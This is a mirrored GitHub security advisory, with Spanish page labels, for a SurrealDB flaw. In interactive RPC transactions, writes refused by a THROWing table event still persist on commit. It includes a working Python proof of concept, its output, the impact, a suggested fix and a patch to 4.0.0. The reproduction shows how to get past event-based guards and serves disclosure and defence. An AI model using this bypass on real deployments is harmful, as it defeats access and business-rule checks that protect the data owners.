GHSA-623G-MHXQ-5HMF
Interactive transactions keep the writes of a statement refused by a THROWing event, and commit persists them
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-623G-MHXQ-5HMF divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 4.0.0 | surrealdb · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
In an interactive transaction (RPC `begin` / `query` with the transaction id / `commit`), a statement refused by a table event that `THROW`s reports an error, yet its write and the writes the event made before the `THROW` stay in the transaction. A subsequent `commit` persists them. The refused statement behaves as if the event's guard had passed.
Events with `THROW` are commonly used as guards (business rules, ownership or access checks). Any client that can open an interactive transaction and has write access to the table can get past such a guard: run the guarded statement, ignore the error, and commit.
For comparison, all three of these leave nothing persisted:
- the same statement outside a transaction;
- the same statement inside a single-request `BEGIN … COMMIT` batch;
- a statement refused by a field `ASSERT` or a type error inside the same interactive transaction.
Affected versions
Reproduced on SurrealDB 3.3.4 and 3.1.5 (official Docker images, `memory` storage, root session), with the official Python SDK 2.0.0 over WebSocket (RPC `begin`/`commit`). 2.x does not offer interactive transactions over RPC.
Reproduction
import asyncio, sys, uuid
from surrealdb import AsyncSurreal
async def main(url: str) -> None:
c = AsyncSurreal(url); await c.connect(); await c.signin({"username": "root", "password": "root"})
db = "v" + uuid.uuid4().hex[:6]
await c.query_raw(f"DEFINE NAMESPACE IF NOT EXISTS probe; USE NS probe; DEFINE DATABASE {db};"); await c.use("probe", db)
await c.query("DEFINE TABLE item SCHEMALESS; DEFINE EVENT guard ON item WHEN $event = 'CREATE' AND $after.qty < 0 THEN { CREATE audit SET k = 'before-throw'; THROW 'qty must be >= 0' };")
await c.query("DEFINE TABLE acct SCHEMAFULL; DEFINE FIELD balance ON acct TYPE int ASSERT $value >= 0;")
cases = {
"THROW, commit at once": ["CREATE item:bad SET qty = -1"],
"THROW, then an unrelated OK statement": ["CREATE item:bad SET qty = -1", "CREATE item:ok SET qty = 1"],
"ASSERT, then an unrelated OK statement": ["CREATE acct:bad SET balance = -5", "CREATE acct:ok SET balance = 1"],
}
for label, stmts in cases.items():
await c.query("DELETE item; DELETE acct; DELETE audit;")
t = await c.begin()
st = []
for s in stmts:
r = await c.query_raw(s + ";", txn_id=t); st.append(r["result"][0]["status"])
await c.commit(t)
rows = await c.query("SELECT VALUE id FROM item, acct, audit;")
print(f"{label:40} statuses={st} -> after commit: {sorted(str(x) for x in rows)}")
await c.close()
asyncio.run(main(sys.argv[1])) # e.g. ws://localhost:8000/rpcOutput on 3.3.4 (identical on 3.1.5):
THROW, commit at once statuses=['ERR'] -> after commit: ['audit:…', 'item:bad']
THROW, then an unrelated OK statement statuses=['ERR', 'OK'] -> after commit: ['audit:…', 'item:bad', 'item:ok']
ASSERT, then an unrelated OK statement statuses=['ERR', 'OK'] -> after commit: ['acct:ok']Expected: `item:bad` and the event's `audit` row are not persisted, as in the `ASSERT` case and outside transactions. Inside the transaction, the refused record is also visible to later statements: an `UPDATE item:bad …` in the same transaction succeeds.
Impact
A guard implemented as a `THROW`ing event can be bypassed through an interactive transaction by anyone allowed to write the table. The guarded record, and any side effects the event wrote before throwing, are persisted, with only an error reported for the statement. Clients that catch the statement's error and commit (a common retry or "best effort" pattern) persist them without meaning to.
Suggested fix
When a statement fails inside an interactive transaction, roll back that statement's writes, including those of its events, as an `ASSERT` failure already does. Alternatively, mark the transaction as failed so that `commit` is refused.
Patches
A patch has been created so that a THROW raised in an event guard rolls back the statement's writes and cannot be committed past within an interactive transaction.
- Version 4.0.0 and later are not affected by this issue.
References
- `test(kvs): pin that a THROWing event guard cannot be committed past` (commit `3c6ae8b227`)
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 4.0.0 | 0 d | 4.0.1 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-623g-mhxq-5hmfLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
